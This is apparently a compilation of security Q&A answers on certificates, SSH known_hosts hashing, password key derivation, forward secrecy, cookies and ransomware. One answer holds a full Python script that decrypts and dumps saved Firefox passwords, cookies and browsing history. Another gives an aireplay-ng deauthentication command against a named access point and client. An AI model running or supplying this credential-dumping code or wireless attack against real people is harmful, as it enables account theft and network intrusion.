There is another architecture you have not considered - if you are doing this for load balancing or HA, then you could install a single cert on your load balancer, and individual certs on the individual servers.  Have the load balancer terminate the TLS connection from the customer, and open a separate back-end TLS session.  You only need your Subject name on the certificate, and you only need the server name on the backend server certificate.  The question of intentionally directing traffic to individual backend servers, for monitoring purposes for example, may need to be handled differently - using a "X-Mr-Balancer-Please: backend-server-name" header at the HTTP layer instead of using a different DNS name and Host: header - but there are several ways to exfoliate the feline.

In short, your description of the negativity of sharing keys as a perception is spot on.  The actual security cost/benefit ratio is dependent upon the scale and operational practices, not upon any inherent superiority/inferiority of using a single or multiple certs.

  I assume no respectful CA will sign two different certificates with
  same subject name.

I disagree with this assumption.  In my personal experience, a CA will ask if they should revoke previous certs, but that is a matter of reminding the customer of sound policy in the default case, not a matter of enforcing behavior.  In every instance I've seen, the CA has accepted the reason presented for multiple certs (which may be "no, we really need multiples" or "no, we need time to migrate before we can revoke the old one.")

  Typical OpenSSL routines I used to know (EasyRSA and so on) will even
  not allow this to happen, refusing to sign other certificate while
  first one isn't revoked.

I will grant you that self-service or automated CAs are unlikely to support this by default.  That's because, as I just mentioned, the customer often needs to be reminded of sound policy in the default case.  And routines, unlike customer service reps, often take a hard line because they can't parse discussion and reasoning.

(Yes, I'm being kind to some customer service reps here.  But you can still argue with a customer service rep more easily than you can a computer!)

  But, I could easily create two certificates with different subject
  names, and having the common name in SAN

Yes, you can.

  But, could this work at all? Would CAs (for example, LetsEncrypt) sign
  me such certificates?

Any CA which has customer service reps should allow you to do this.  In the case of automated systems like LetsEncrypt, they may not (discussed above).

Again, I question your basic assumption, that sharing a certificate between multiple machines with a SAN superset of all possible names is inadvisable.  If that assumption goes away, so does the question of convincing automated and non-automated CAs to issue multiple certificates for the same Subject.

  I strongly prefer to use a single CA. Using a multiple CAs is of
  course a known option, but it feels like an ugly mess for me.

There are some use cases where multiple CAs make sense.  Your use case is not one of them, and you are correct, multiple CAs would not be a scalable solution.

As above, it should be possible for you to get multiple certs with the same Subject but different SAN sets from a single CA.  You may need a CA with humans rather than an automated CA like LetsEncrypt.

As above, your use case may be served just as well by having a single cert with a SAN set that encompasses all your machines.

  Also, it is about where and what to ask further. If this idea (of
  having same name in SAN of different valid certs) is tecnically
  possible (could work), what governs the topic, some policies of given
  CAs?

If you're dealing with a CA with human service reps and sales reps, then you can simply ask them.  If you're asking a technical resource, start with the bottom line, lay your problem out clearly, then reiterate the bottom line.

(If you're asking a service rep, go ahead and ask, then ask for a technical rep if their answer doesn't reassure you that it's solid.  If you're asking a sales rep...... ask to speak to a technical rep.)

If I may suggest - you've determined the technical solution that you think fits your problem, and are asking us to address that technical solution, rather than your problem.  That's one of the reasons you're facing 'dup' votes.

I have tried to address your technical question here, but also to push back up to what I understand your problem to be, because I think you would be better served to ask for advice about your problem than the solution you arrived at.

In any case, I hope this is helpful to you.


When unlocking an encrypted drive, how does the unlocking program know it was successful?

Generally speaking, the encryption is deemed successful if the result "makes sense". In the case of an encrypted disk, one can expect to find a properly structured filesystem after decryption, and a filesystem has a lot of recognizable features.

Also, many disk encryption softwares, which protect disks with a password, include an explicit "magic value" in order to promptly inform the user when he typed his password wrong. This is much better than trying to work with an improperly decrypted disk, which may result in data loss.


Use client SSL certificates as web application authentication

The normal method of doing client certificate validation is to create your own Certification Authority (CA), and use that CA to mint client certificates, which are distributed to the clients.  The server then only has to check that a client certificate has a valid signature from the pre-configured CA, or has a valid chain of trust leading back to that CA, to know that the client certificate is good.
See above.
Very little extra overhead, at least when done as above.  All clients have certificates (public keys) anyway, they're just (usually) self-signed and are used only for encryption rather than encryption and authentication; if a client uses a certificate with a valid signature on it instead, having the server validate that certificate is a very small extra overhead.


SSH: benefits of using hashed known_hosts

I don't think you are missing much.  The only change is that if a machine is compromised, the idea is to minimize how much usable information is given to an attacker.  In the known_hosts file, more information is not necessary to include (computing a few hundred HMACs is not onerous work), unlike in ~/.ssh/config where it needs to be included on the Address line if you wish to connect via your alias (hashing wouldn't work) and in your command line history - if you choose to keep one.

Presumably you could have a very large known_hosts (e.g., if you sync it with another computer when you setup the account), but say not use .ssh/config and not keep a command line history or have never connected to most machines in the commandline history.

In those situations, hashing the IP addresses used in your known_hosts could lessen exposure in the event of a compromise.

Furthermore, HashKnownHosts is a configurable option, and the default is to not hash (probably for reasons you specified -- it doesn't help much).  See man ssh_config:

  HashKnownHosts

  Indicates that ssh(1) should hash host names and addresses when they are added to ~/.ssh/known_hosts.
  These hashed names may be used normally by ssh(1) and sshd(8), but they do not reveal identifying information should the file's contents be disclosed.  The default is “no”.  Note that existing names and addresses in known hosts files will not be converted automatically, but may be manually hashed using ssh-keygen(1).  Use of this option may break facilities such as tab-completion that rely on being able to read unhashed host names from ~/.ssh/known_hosts.

Note the format of a hashed known_hosts line (example taken from here - my current configuration is not to hash) for an entry for 192.168.1.61:

|1|F1E1KeoE/eEWhi10WpGv4OdiO6Y=|3988QV0VE8wmZL7suNrYQLITLCg= ssh-rsa ...

where the first part F1E1KeoE/eEWhi10WpGv4OdiO6Y= is a random salt - that acts as a key for the HMAC-SHA1 to hash 192.168.1.61.

You can verify in the command line with (BSD / Mac OS X):

#### key=`echo F1E1KeoE/eEWhi10WpGv4OdiO6Y= | base64 -D | xxd -p`
#### echo -n "192.168.1.61" | openssl sha1 -mac HMAC -macopt hexkey:$key|awk '{print $2}' | xxd -r -p|base64
3988QV0VE8wmZL7suNrYQLITLCg=

or on GNU/linux with:

#### key=`echo F1E1KeoE/eEWhi10WpGv4OdiO6Y= | base64 -d | xxd -p`
#### echo -n "192.168.1.61" | openssl sha1 -mac HMAC -macopt hexkey:$key|awk '{print $2}' | xxd -r -p|base64
3988QV0VE8wmZL7suNrYQLITLCg=

where we just decoded the salt and used it as a key in a sha1 HMAC, and then re-encode the hash in base64.  Just specifying as another answer originally presumed that the HMAC may have used the user's private ssh key to compute hash-based message authentication code, but this is not the case.


This is less a question about SQL Injection itself, and more about this particular ML based implementation.
I had to look at the code to understand better what the author tried to say with this example. To the best of my understanding, this is actually a very poor example, let's remember this is a tool supposed to execute SQLi attacks, not to just run queries. In this example it seems like it is just trying to learn how to interact with a SQL server, what it's not really it's purpose, a much better(and realistic) example would be something along the lines of:
Input: SELECT * FROM example_table WHERE id == {ACTUAL USER INPUT}
Output: 1 // 200
Output: m // 500
…
Output: 1 OR 1==1 // 200

The "Input" field is actually the server-side query, and the Output would be the parameter the tool would give to the website.
Again, this is based on what I got from his article and code, to really understand what is happening I recommend you read the full code in the repository and try to run it yourself.
As I mentioned in my comment, there's nothing special about this attack defense-wise, it is just an attempt at a better way to explore SQL injection vulnerabilities, the vuln itself is still the same, meaning that to mitigate it you would just need to sanitize user input before inserting it in your SQL query.
You said you are studying the subject for fun, so in case you are not too familiar with SQLi attacks this and this page should help you get a better grasp at what causes it, and how to fix it.


What can be done to bridge the Air Gap, except autorun?

Any bug in the handling of USB devices can be exploited by malicious hardware. That's how the PS3 Jailbreak worked.

Remember that when you plug a "USB Flash drive" in a machine, you cannot be sure that what you plug is really "just a Flash drive". The machine sees it as a "USB device" which may claim to be a keyboard, a mouse, a network interface... A malicious Flash drive could be in fact a wireless network device, which claims to be some sort of ethernet card; the machine may react by automatically connecting to it (DHCP and so on): no more air gap !

Alternatively, the USB device may claim to be a USB-to-firewire converter and the device driver, already known to the machine, would then grant device-initiated DMA privileges: the device can then read and write any data byte in the machine.

Really, if you are serious about your security, don't plug untrusted device in a USB port.


store passwords as one-way-hash, or just use it as an AES key?

Do not use SHA256 to hash passwords. SHA256 is a message digest algorithm. It is designed to be very fast. Use an algorithm which is intentionally designed to be slow and hard to implement in specialized hardware. Why? Because fast algorithms allow an attacker to brute-force a large number of passwords until they found one which works. "They'll still have to brute-force the SHA256 to access the password" is not that much of an obstacle. A SHA256 cracker which runs on a consumer-grade GPU can calculate the hashes of millions of passwords per second.

Bcrypt (which is used by  PHP's password_hash) is one such algorithm, but when you want to turn a password into an encryption key, then it is not the right choice because it's not designed for this purpose. The search term you are looking for is "Key Derivation". A standard solution is scrypt which has several advantages over your method:

It hashes each password with an unique salt. That means two users with the same password will have different hashes. That means the attacker needs to brute-force each password individually and can not run their cracker over the whole database until they found a password which fits someone's hash.
It can generate keys of any length you want. So you gain more flexibility regarding the length of your encryption cypher.
Its hashing function is intentionally designed in a way which makes it a very bad fit to implement with specialized parallel number-crunching hardware like GPUs, FPGAs or ASICs.


If no master password is set, Firefox uses an empty password.

For a dirty Python script to decrypt and dump the data (plus some more), see the following code. It is an old project of mine and I just updated the reading of the passwords and usernames which were saved in signons.sqlite before (now in logins.json). I can't guarantee that (everything) is working, but it did in my test case.

#!/usr/bin/env python

from ctypes import *
import struct
import base64
import platform
import os
import sqlite3
import json

# TODO: if python 3. use
#from configParser import ConfigParser
# else
from ConfigParser import ConfigParser

#
# Some little firefox forensic script delivering following data:
# - saved passwords (decrypted if no master pw is set)
# - visited pages
# - download history
# - form history
# - cookies
#
# TODO:
# - flash cookies and stuff
# - finish comments
# - add little brute forcer for master pw
# - dump master pw ?
# - add some more compatibility stuff (mac if requested, else fuck it)
# - use some user defined exceptions instead plain exception
# - cache
# - think about which data from the db to return ;)
#
# ATTENTION: On my win7 system i needed a newer sqlite version.
# see http://code.activestate.com/lists/python-tutor/96183/
# - easy (and dirty) solution: get new sqlite.dll, replace in ...python/DLLS/
#
# CREDITS:
# - Decrypt saved passwords: https://github.com/pradeep1288/ffpasscracker
# - Myself for doing a .schema on every db to get the structure *yay for me*
#

#Password structures for firefox >= 3.5 ?!
class SECItem(Structure):
    _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]
class secuPWData(Structure):
    _fields_ = [('source',c_ubyte),('data',c_char_p)]
(SECWouldBlock,SECFailure,SECSuccess)=(-2,-1,0)
(PW_NONE,PW_FROMFILE,PW_PLAINTEXT,PW_EXTERNAL)=(0,1,2,3)

class FileNotFoundException(Exception): pass

class Firefox_data_generic(object):
    """
    Some general informations:
    - Every timestamp is a unix timestamp in millisec (/1000 to use with pythons time stuff)
    -
    """

    def __init__(self, profilpath = None, compatibility_infos = None ):
        if platform.system().lower() == 'windows':
            find_profil_path =  self.__find_profile_path_windows
            load_libraries = self.__load_libraries_win
        else: # TODO. care about mac (which i don't atm)
            find_profil_path = self.__find_profile_path_linux
            load_libraries = self.__load_libraries_linux

        if profilpath is None:
            self.profilpath = find_profil_path()
        else:
            self.profilpath = profilpath
        self.default_profil = self.__get_default_profile()

        if compatibility_infos is None:
            self.ff_version, self.platform_dir, self.app_dir = self._get_info_from__compatibility_ini()
        else:
            self.ff_version, self.platform_dir, self.app_dir = compatibility_infos

        load_libraries(*self.ff_version)

        # set up for the specified ff version
        major, minor = self.ff_version
        # We don' care about stone age ff versions
        if self.ff_version < (3, 5):
            raise Exception('Nobody got time for implementing the features for this fucking old ff version')
        # download history moved from downloads.sqlite to places.sqlite
        if major >= 26:
            self.get_all_downloads = self.__get_all_downloads_places
            print 'get downloads from places.sqlite'
        else:
            self.get_all_downloads = self.__get_all_downloads_downloads
            print 'get downloads from downloads.sqlite'

        #print 'Profilepath is:', self.profilpath

    #############################################################
    # Placeholder
    #############################################################
    def get_all_downloads(self, profile = None):
        """ returns [(url, fileName, saveTo, size, endTime, done), ...]
        monkey patched to __get_all_downloads_downloads for version < 26 (TODO: ?)
        or else to __get_all_downloads_places
        """
        raise NotImplementedError('get_all_downloads not implemented')

    #############################################################
    # General working functions
    #############################################################
    def _get_info_from__compatibility_ini(self, profile = None):
        if profile is None:
            profile = self.default_profil
        config_file = '/'.join((profile, 'compatibility.ini'))
        if not os.path.isfile(config_file):
            raise FileNotFoundException('compatibility.ini not found at "%s"' % config_file)
        config = ConfigParser()
        config.read(config_file) # TODO: catch return (list of succesfully read configs)
        major, minor = config.get('Compatibility', 'LastVersion').split('_')[0].split('.')[:2]
        # TODO: check if value exists
        return ( (int(major), int(minor)), config.get('Compatibility', 'LastPlatformDir'), config.get('Compatibility', 'LastAppDir'))

    def get_all_visited(self, profile = None):
        """ Return all visited urls in the form of [(url, visit_count, last_visit_date), ...]
        Ordered by date asc.
        If no profile path is suplied use the default one.
        Should work from v. 3.0 and above (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'places.sqlite'))
        if not os.path.isfile(db_path):
            return None # TODO: raise exception
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT url, visit_count, last_visit_date FROM moz_places where visit_count > 0 order by last_visit_date asc;').fetchall()
        con.close()
        return ret

    def search_history(self, custom_filter, profile = None):
        for elem in self.get_all_visited(profile):
            if custom_filter(elem):
                yield elem

    def test_master_pw(self, password, profile = None):
        if profile is None:
            profile = self.default_profil
        self.libnss.NSS_Init(profile) # TODO: check for errors here ? Init it once for all functions ?
        keySlot = self.libnss.PK11_GetInternalKeySlot()
        ret = self.libnss.PK11_CheckUserPassword( c_int(keySlot), c_char_p(password)) == SECSuccess
        self.libnss.PK11_FreeSlot(c_int(keySlot))
        self.libnss.NSS_Shutdown()
        return ret

    def is_master_password_set(self, profile = None):
        return not self.test_master_pw('', profile)

    def get_saved_passes(self, profilpath = None, decrypt = True, masterpass = ''):
        """ Try to get and decrypt saved passwords.
        The result (if successfuly) is in the form:[(hostname, httpRealm, formSubmitURL, usernameField, passwordField, username, password, encType, timeCreated, timeLastUsed, timePasswordChanged, timesUsed), ...]
        username and password are decrypted if no master password is set or they are not encrypted (doh) or the decrypt flag is set to False.
        In this cases the unaltered data is returned.
        """
        # decrypting part from https://github.com/pradeep1288/ffpasscracker
        # for db schema: http://www.securityxploded.com/firepasswordviewer.php#for_firefox_3_5_and_above
        #  or just do a .schema moz_logins in the signons.sqlite /* signons.sqlite is gone and replaced by logins.json */
        if profilpath is None:
            profilpath = self.default_profil

        db_path = '/'.join((profilpath, 'logins.json'))
        if not os.path.isfile(db_path):
            raise FileNotFoundException('signons.sqlite not found at "%s"' % db_path)
        with open(db_path, 'rb') as fd:
            login_data = json.load(fd)

        # care about 'would_block' (-2) ?
        if self.libnss.NSS_Init(profilpath) != SECSuccess:
            # TODO: react to this
            print """Error Initalizing NSS_Init,\n
            propably no usefull results"""
            raise Exception('NSS_Init failed') # TODO: error code ?

        # TODO: check errors
        slot = self.libnss.PK11_GetInternalKeySlot()
        self.libnss.PK11_CheckUserPassword(slot, masterpass)
        self.libnss.PK11_Authenticate(slot, True, 0)

        pwdata = secuPWData()
        pwdata.source = PW_NONE
        pwdata.data=0

        uname = SECItem()
        passwd = SECItem()
        dectext = SECItem()
        con = sqlite3.connect(db_path)
        ret = list()
        for row in login_data['logins']:
            if not decrypt: # not encrypted
                row["encryptedUsername"] = base64.b64decode(row["encryptedUsername"])
                row["encryptedPassword"] = base64.b64decode(row["encryptedPassword"])
                ret.append(row)
                continue
            # decrypt it
            uname.data  = cast(c_char_p(base64.b64decode(row["encryptedUsername"])),c_void_p)
            uname.len = len(base64.b64decode(row["encryptedUsername"]))
            passwd.data = cast(c_char_p(base64.b64decode(row["encryptedPassword"])),c_void_p)
            passwd.len=len(base64.b64decode(row["encryptedPassword"]))
            if self.libnss.PK11SDR_Decrypt(byref(uname),byref(dectext), 0)==-1:
                raise Exception('Username decrypt exception with:' + str(row))
            row["encryptedUsername"] = string_at(dectext.data,dectext.len)
            if self.libnss.PK11SDR_Decrypt(byref(passwd),byref(dectext), 0)==-1:
                raise Exception('Password decrypt exception with:' + str(row))
            row["encryptedPassword"] = string_at(dectext.data, dectext.len)
            ret.append(row)
        self.libnss.NSS_Shutdown()
        con.close()
        return ret

    def get_all_cookies(self, profile = None): # yummy
        """ Returns all cookies in the form of [(baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly), ...]
        Should work for versions >= 3.0 (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'cookies.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly FROM moz_cookies;').fetchall()
        con.close()
        return ret

    def get_all_form_history(self, profile = None, orderBy = 'firstUsed', orderASC = False):
        """ Returns all form history in the for of: [(fieldname, value, timesUsed, firstUsed, lastUsed), ...]
        Should work for versions >= 3.0 (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'formhistory.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT fieldname, value, timesUsed, firstUsed, lastUsed from moz_formhistory order by %s %s;' % (orderBy, ('ASC' if orderASC else 'DESC'))).fetchall()
        con.close()
        return ret

    def search_form_history(self, custom_filter, profile = None, orderBy = 'firstUsed', orderASC = False):
        for elem in self.get_all_form_history(profile, orderBy, orderASC):
            if custom_filter(elem):
                yield elem

    #############################################################
    # Version and platform specific functions
    #############################################################
    def __find_profile_path_windows(self):
        """ Should work for win >= 2000 (TODO: ?)
        """
        # TODO: should work for Windows 2000, XP, Vista, and Windows 7, (win 8 TODO: ?)
        path = '/'.join((os.environ['APPDATA'], 'Mozilla/Firefox/Profiles'))
        if not os.path.isdir(path):
            raise FileNotFoundException('Profile folder "%s" not found.' % path)
        return path

    def __find_profile_path_linux(self):
        # TODO: check where the default profile path on different distros are
        path = '/'.join((os.environ['HOME'], '.mozilla/firefox'))
        if not os.path.isdir(path):
            raise FileNotFoundException('Profile folder "%s" not found.' % path)
        return path

    def __get_default_profile(self):
        try:
            profile = ( p for p in os.listdir(self.profilpath) if p.endswith('.default') and os.path.isdir('/'.join((self.profilpath, p)))  ).next()
            return '/'.join((self.profilpath, profile))
        except StopIteration:
            return None

    def __load_libraries_win(self, major, minor):
        #TODO: check relevant version changes
        os.environ['PATH'] = ';'.join([self.platform_dir, os.environ['PATH']])
        self.libnss = CDLL('/'.join((self.platform_dir, "nss3.dll")))

    def __load_libraries_linux(self, major, minor):
        #TODO: check relevant version changes
        #TODO: could that lib be somewhere else (not in path) ? (i.e: is this safe ?)
        self.libnss = CDLL("libnss3.so")

    def __get_all_downloads_downloads(self, profile = None):
        #TODO: untested but should work
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'downloads.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT source, name, target, maxBytes, endTime, state FROM moz_downloads;').fetchall()
        con.close()
        return ret

    def __get_all_downloads_places(self, profile = None):
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'places.sqlite'))
        con = sqlite3.connect(db_path)
        ret = list()
        for download in con.execute("""SELECT url, a.content, b.content, c.content from moz_annos a, moz_annos b, moz_annos c, moz_places p
            where a.place_id = b.place_id and b.place_id = c.place_id and p.id = a.place_id
            and a.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/destinationFileName')
            and b.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/destinationFileURI')
            and c.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/metaData');
        """).fetchall():
            values = json.loads(download[3])
            ret.append( (download[0], download[1], download[2], values['fileSize'], values['endTime'], values['state']) )
        con.close()
        return ret

if __name__ == '__main__':
    profile = "C:/Users/USERNAME/AppData/Roaming/Mozilla/Firefox/Profiles/FF_PROFILE"
    ff = Firefox_data_generic()
    print 'version and paths:'
    print ff._get_info_from__compatibility_ini()

    print 'Master password is set:', ff.is_master_password_set(profile=profile)

    print "Test some password", ff.test_master_pw('test1234567')

    print 'passwords:'
    print ff.get_saved_passes(profilpath=profile, decrypt=True, masterpass="")

    print 'cookies:'
    print ff.get_all_cookies()

    #print 'form history:'
    #print ff.get_all_form_history(orderBy='name', True)
    print 'form history from search bar:'
    print list(ff.search_form_history(lambda x: 'searchbar' in x[0]))

    #print 'visited sites:'
    #print ff.get_all_visited()
    print 'visited sites with login in url:'
    print list(ff.search_history(lambda x: 'login' in x[0]))

    print 'downloads:'
    print ff.get_all_downloads()

It should work on Windows and Linux, but I just tested the changes on a Windows system.

Edit: I replaced the script to crack the passwords with one to just dump different information (including the passwords and usernames in decrypted form with a given password)


What access does installing custom certificate file give?

When you install the certificate, you permit the service running on your phone to use it in order to technically MitM your traffic - it can decrypt the traffic before you see it, edit it, send it to another server, inject scripts - anything and still make it seem valid yo your browser since it resigns the data with its own certificate that you manually installed. This is the warning that you get - Android is just warning you to be cautious when having the certificate installed since you can't trust what you see on your screen to be untampered with.


Does CakePHP use the same salt for all users?

DefaultPasswordHasher doesn't use the salt value stored in the configuration, that is only used by the WeakPasswordHasher class, or manual hashing by a developer.

The DefaultPasswordHasher class is a wrapper of the built in PHP password_hash which generates a salt for each password and uses the bcrypt algorithm currently. See https://github.com/cakephp/cakephp/blob/master/src/Auth/DefaultPasswordHasher.php#L47-L53


Find the destination script of an inbound TCP connection on our shared webserver

You could try doing this.

Write a cron job that inserts a log entry at a certain start of the window. Monitor the file through some kind of file watching script. And at that point you correlate that with the http logs. The logs are in the common log format.

http://ubuntuforums.org/showthread.php?t=866006

https://pypi.python.org/pypi/watchdog

Alternatively you could try writing a userspace netfilter hook that loads a python interpreter, so you can trigger all this on the fly. Though a kernelspace python might not be such a good idea.

Hope that helps!


How does someone with HubSpot Sidekick knows when I opened their sent email?

They track opens the same way every other email sending/analytics company does it: by inserting a tracking pixel within the HTML of the email. If your email client blocks image loading by default, then you won't be tracked. If you load the images, or your client automatically downloads the images (iPhone email client) then you're being tracked.

You can see more information about how this works precisely here: http://en.wikipedia.org/wiki/Web_bug


How is this registration setup vulnerable?

What are some attacks that a hacker could do to take advantage of a registration setup such as this?

Although this will most likely not help you in your case to change the registration flow, the first thing that comes to mind is to abuse the SMS function. Since only a username and a phone number are required this can be used to:

Get the company out of SMS credits (depending on the setup)
Get the company a bad reputation for sending random text messages (in case the company name is used in the SMS message).
In a replay attack this could lead to unnecessary costs.
The company registration flow can be used as a "prank platform".

A better solution would be to have a user enter a username, an email address and get the phone number programmatically (https://stackoverflow.com/questions/2480288/programmatically-obtain-the-phone-number-of-the-android-phone) from within the mobile application.

An email is sent to the given email address with a verification link. When the user clicks the verification link from the email, a password should be set. Make sure that once the password has been set, the registration link is invalidated.

Additionally, the registration link should have a specific life time, e.g. it should expire after X amount of time.


Aireplay deauth having no effect, no handshake and Reaver stuck

You need to set an amount of packets to send, 0 is 0, send nothing, put more than 0 :D (deauth)

-0 22

root@kali:~# aireplay-ng -0 22 -a C0:05:C2:3B:8E:42 -c 98:9E:63:A1:E7:03 wlan0mon

[EDIT]

Also, run airmon-ng check kill before you start as said by G. T


You're correct that PSKs are used to form the pre-master secret, but Perfect Forward Secrecy (PFS) is not just about creating unique pre-master secrets.

PFS is about protecting all other sessions if one session is compromised.  For example, if I break the RSA key for one session and this key is used for all subsequent sessions; I can now decrypt the pre-master secret for all sessions.  It doesn't matter that the pre-master secret is unique to each session because I can see what it is anyway.

What you want for PFS is to create unique key exchange parameters for each session.  This is what Ephemeral Diffie-Hellman (DHE/ECDHE cipher suites) provides.  New Diffie-Hellman parameters are generated for each new handshake with a client.  If one session is compromised the other sessions are still secure because the exchange will have unique parameters.

See this answer for more details on PFS and Ephemeral Diffie-Hellman cipher suites.


Using a persistent httpOnly cookie for authentication? (SPA)

A few thoughts:

As @ConorMancone points out, this is just basic session management. Approximately every web site in the world that lets you submit credentials once (rather than on every authenticated request) and then stay signed in (whether for minutes or years) is doing some variant on this.
HttpOnly is not a significant security boundary. You need the Secure flag, which prevents the cookie from being sent over insecure connections. Not that HttpOnly is bad - if you can use it, do so - but all it does is prevent a specific post-exploitation attack if the attacker successfully uses XSS (Cross-Site Scripting). Preventing XSS in the first place is far more important, as it can be used for lots of things besides stealing cookies. You can also use the relatively new "SameSite" flag - probably in "Lax" mode - for CSRF protection.
The primary use of JWTs is to let servers authenticate clients without storing any state on the server. This is most beneficial for apps that are big enough they are served by a cluster; otherwise, active user sessions are often cached on the server to avoid the extra DB query (but using a cluster means you now have to deal with cache coherency messes). You can also switch what your session token looks like at any time; to the client it's just a meaningless blob that gets included with every request.
If you want to use random tokens, 128 bits (16 bytes) is good. However, you must use a cryptographically-secure (pseudo-)random number generator to create the token (you'll also need to encode the token as something, like hex or HTTP-safe base64). Every modern OS and web framework offers this.
Speaking of web frameworks, I can't really recommend rolling your own session management functionality. Just use whatever your framework provides for sessions. It might not be the best, but it'll probably be better than you can create without more knowledge and experience.
Session duration is a question that REALLY depends on the app, and the clients, too much for us to say here. Some apps, such as banking apps or other very conservative ones, often have a session timeout measured in minutes. Others, such as StackExchange, are good for much longer (looks like the "acct" cookie SE uses is good for 6 months; some sites' cookies are good for years). You can also just not set an expiration, in which case the cookie lasts as long as the browser session (but no longer). Since lots of people don't actually close their browsers these days, those cookies may last until something forces the user to reboot.


Provided they're not using something like VPN or a Proxy you should be able to check a few things with an app like WireShark:

DNS requests for different websites (before the TLS or HTTPS devices will typically look-up the server). Eg. Facebook is using Akamai so if you can capture a DNS packet bound for fb.*\.akamai\.net that will give you both IPs (and the client MAC address). Then you can track the traffic from that IP through the session.
IP Reverse Look-up (You can check an outside service's IP registrant at a directory like ARIN) - whois -h whois.arin.net 8.8.8.8
You can look-up the device manufacturer via MAC Address
Like Manishearth was saying, you can try to catch a user agent from web browsing on the same IP during that same session, then marry the user_agent to the MAC Address.


PayPal encrypted with obsolete cryptography

This message is Google trying to push people nilly-willy into the 21st century of cryptography. So they point and mock when they see "RC4" or "SHA-1". This does not mean that such algorithms can be broken immediately. Only that Google would find the world a better place (or possibly a googler place) if everybody were using algorithms more to their liking, i.e. TLS 1.2 with AES/GCM.

In practice, there are a few "worries" about RC4 and SHA-1, though neither should prove fatal to your communications:

RC4 has known biases. These biases could theoretically be exploited to recover secret data, provided that the attacker can observe lots of connections (millions), all containing the same secret data at the same predictable place in the stream, provided that the secret appears early enough in that stream (because these biases get lower the further you go down the stream). The last condition is the one which is the biggest problem for an attacker trying to break through HTTPS; the interesting secret (HTTP cookie) appears relatively far in the HTTP header. To my knowledge, there has been no application of such attacks spotted in the wild so far.
SHA-1 has theoretical weaknesses with regards to resistance to collisions. No actual collision was produced yet; the theory (which is considered rather solid) is that building a collision would imply a computing cost of 261 function evaluations or so, i.e. substantially less than the expected 280 (for a function with a 160-bit output), but still too much to be casually contemplated even by academics with a lot of budget. Moreover, use of SHA-1 within TLS is through HMAC, which would not be impacted by collisions. There is no known weakness, theoretical or otherwise, in SHA-1 as it is used in SSL/TLS.

Paypal enforces RC4 because they want to avoid the perceived weakness induced by AES in CBC mode (so-called "BEAST attack" that no longer works in practice). They sure would prefer if Chrome was not claiming that they are "obsolete" because that may scare away customers; for a bank, security is important, but projecting an image of security even more. Customers must feel safe, or they will bring their money elsewhere (this is why most 19th-century banks were opening offices with very massive architecture, with granite columns and steel doors: to instill an inconscious feeling of solidity).


What is the difference between DHE and ECDH?

First, my apologies for the math, and for overly simplifying the math!

The difference between DHE and ECDH in two bullet points:

DHE uses modular arithmetic to compute the shared secret.
ECDH is like DHE but in addition, uses algebraic curves to generate keys (An elliptic curve is a type of algebraic curve).

The overall method in both cases is still Diffie–Hellman. (Or are we calling it Diffie–Hellman-Merkle these days?)

Perfect forward secrecy is achieved by using temporary key pairs to secure each session - they are generated as needed, held in RAM during the session, and discarded after use.

The "permanent" key pairs (the ones validated by a Certificate Authority) are used for identity verification, and signing the temporary keys as they are exchanged. Not for securing the session.

Does that explain things a bit better?

Edit: To examine your examples in detail...

  secret session key that's never shared

Well, this is the definition of DH key exchange, but isn't related to perfect forward secrecy. DH allows both parties to independently calculate the shared secret will be, without transmitting the shared secret in the clear, over the still-insecure channel.

  session key that changes based on random input from both users

...Certainly both sides of the connection will use local sources of randomness to derive their temporary session keys, but I think the above phrasing misses the point: perfect forward secrecy is achieved by discarding the session keys after use.

  session key that is derived from a shared secret that only the 2 users know

By now you're thinking "How does this fact give us perfect forward secrecy?" To belabor the point: perfect forward secrecy is achieved by discarding the session keys after use.


How to decrypt .lock files from ransomeware on Windows

I don't think you will see those files again, unless you have a back up.

You can view the transaction history of the Bitcoin address you were asked to pay to here. As you can see, there are 303 transactions in total and many of them are for 1 BTC.

That implies that the same Bitcoin address have been given to multiple victims. This in turn means that it is impossible for the perpetrators to know who has paid, and what encryption key should be sent. (Hence the odd request for a screenshot, I presume.)

So either they are incompetent in their handling of the ransom, or much more likely, they are not restoring any files, instead just milking victims on more and more money. And if they are not restoring any files, why even bother to encrypt them when you can just overwrite them with random garbage?

So those files are probably gone, no matter if you pay or not.

Edit: There are some good points in comments. Potentially the screenshots could be used as proof of payments, although a flawed one. And even if payment does not lead to decryption the files might still be encrypted.

But even with this taken into account, unless a remedy for this specific version of ransomeware pops up, you are very unlikely to be able to restore your files. Nkals answer has a great link to a repository of such remedies.

Edit 2: This Troy Hunt blogpost follows a similar line of reasoning about extortion and Bitcoins.

Edit 3: The recent WannaCry outbreak has made me reconsider this answer. Apparently WannaCry uses three hardcoded bitcoin wallets, but people still seem to have gotten their files decrytpted. So I think the base assumption of this answer is wrong.


Can the user's password from the parent service be passed to my application allowing for it to be used as the secret key for encryption?

No.  That is sort of the point of the protocol.

  If a secret is randomly generated when the user registers for my service via SSO, can this be stored anywhere securely?

Secure from whom?  I'm guessing that your system was designed so that even you couldn't decrypt someone's private files.  If that is the case, then no, there is nowhere you can store it where you can't also get it, unless you pass it to the end user and ask them to store it.

  Currently my service employs AES-256 symmetrical encryption. Is there a better encryption scheme for my use case?

Even AES128 is plenty strong.  Without knowing more about your system, it's hard for me to say whether it would benefit from some aspect that uses a public/private key.

  Any ideas for a string other than the user's password that could be used as a secret key?

If it were me I wouldn't want you to use my password (which is pretty short).  I would want to be able to type an arbitrarily long passphrase into a large, multi-line textbox.  I would probably paste in a couple pages from a book I like, which makes it easy for me to recover.

